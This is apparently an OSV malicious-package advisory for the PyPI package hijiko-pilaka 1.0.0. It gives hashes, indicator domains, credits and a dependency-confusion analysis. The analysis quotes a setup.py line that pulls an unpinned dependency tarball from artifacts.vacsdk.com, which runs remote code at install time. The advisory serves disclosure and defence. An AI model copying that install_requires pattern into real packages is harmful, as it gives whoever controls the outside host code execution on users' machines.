mal-2026-18111

{
  "affected": [
    {
      "database_specific": {
        "cwes": [
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          }
        ],
        "indicators": {
          "evidence_files": [
            {
              "path": "setup.py",
              "sha256": "c6bf9060466c41a0688cd4070086732fa6e4b4ac811676c132217c4f391c80bf",
              "tlsh": "c8d0978a84d73d605800c7ad1db3a0808a19e105cf0cd9feb2cc0f842745c2a0f240bd"
            }
          ],
          "package_integrity": [
            {
              "filename": "hijiko_pilaka-1.0.0.tar.gz",
              "hashes": {
                "blake2b_256": "65085266bb3562b9a945409ff9f84f30c3ff5767689bed34d83cbcdf5090d250",
                "md5": "cc150c9c51f4c87de6f226fdfdc58ccf",
                "sha256": "0763e8a45cb4760a247b36b5ba378823419f82c7f64b40671e1ea4c494fed8dd"
              }
            }
          ]
        },
        "source": "https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/hijiko-pilaka/MAL-2026-18111.json"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "hijiko-pilaka",
        "purl": "pkg:pypi/hijiko-pilaka"
      },
      "versions": [
        "1.0.0"
      ]
    }
  ],
  "credits": [
    {
      "contact": [
        "inspector-research@amazon.com"
      ],
      "name": "Amazon Inspector",
      "type": "FINDER"
    },
    {
      "contact": [
        "https://github.com/kam193",
        "https://bad-packages.kam193.eu/"
      ],
      "name": "Kamil Mańkowski (kam193)",
      "type": "REPORTER"
    }
  ],
  "database_specific": {
    "iocs": {
      "domains": [
        "artifacts.vacsdk.com",
        "vacsdk.com",
        "artifacts.yosiroute.com"
      ]
    },
    "malicious-packages-origins": [
      {
        "id": "pypi/2026-10-vacsdk/hijiko-pilaka",
        "import_time": "2026-10-20T21:40:17.573565401Z",
        "modified_time": "2026-10-20T20:50:18.075939Z",
        "sha256": "1ca95d97923a23c0fd145b6cc4def7910fa36f1b4c4e5e3cf40e5bab8c9e250d",
        "source": "kam193",
        "versions": [
          "1.0.0"
        ]
      },
      {
        "id": "IN-MAL-2026-021863",
        "import_time": "2026-10-29T13:37:13.814804274Z",
        "modified_time": "2026-10-29T13:17:57Z",
        "sha256": "618fc4257600bc10efdde21aaa2bfe35b4e2138a4c2ea6997c4e1b0daac4b55b",
        "source": "amazon-inspector",
        "versions": [
          "1.0.0"
        ]
      },
      {
        "id": "pypi/2026-10-vacsdk/hijiko-pilaka",
        "import_time": "2026-11-03T21:11:41.886423913Z",
        "modified_time": "2026-10-20T20:50:18.075939Z",
        "sha256": "7e67ec09bd5789dde87255688e6b0b8c4d1357ba839a44999e2924cb5ba8f39c",
        "source": "kam193",
        "versions": [
          "1.0.0"
        ]
      }
    ]
  },
  "details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (618fc4257600bc10efdde21aaa2bfe35b4e2138a4c2ea6997c4e1b0daac4b55b)\nhijiko-pilaka 1.0.0's setup.py declares its only dependency, `native-delta-field-walker`, via a direct URL to a tarball on artifacts.vacsdk.com rather than a PyPI version range: `install_requires=[\"native-delta-field-walker @ https://artifacts.vacsdk.com/pypi/native_delta_field_walker-1.0.0.tar.gz\"]`. There is no hash pin or signature, so pip downloads and installs whatever bytes that URL serves at install time, executing any setup.py / build-backend / lifecycle code inside the fetched sdist. The shipped `hijiko_pilaka.py` is a 41-byte stub, so the manifest line is effectively the entire install-time surface. The host artifacts.vacsdk.com is unrelated to PyPI and is not pinned by digest, giving whoever controls that URL arbitrary code execution on any machine that runs `pip install hijiko-pilaka`.\n\n## Source: kam193 (1ca95d97923a23c0fd145b6cc4def7910fa36f1b4c4e5e3cf40e5bab8c9e250d)\nThe package uses fake http-downloaded dependencies to track downloads, and has no other purpose.\n\n\n---\n\nCategory: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities.\n\n\nCampaign: 2026-10-vacsdk\n\n\nReasons (based on the campaign):\n\n\n - dependency-confusion\n",
  "id": "MAL-2026-18111",
  "modified": "2026-11-03T21:15:03.366184678Z",
  "published": "2026-10-20T20:50:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://bad-packages.kam193.eu/pypi/package/hijiko-pilaka"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/hijiko-pilaka/1.0.0/"
    }
  ],
  "schema_version": "1.9.2",
  "summary": "Malicious code in hijiko-pilaka (PyPI)"
}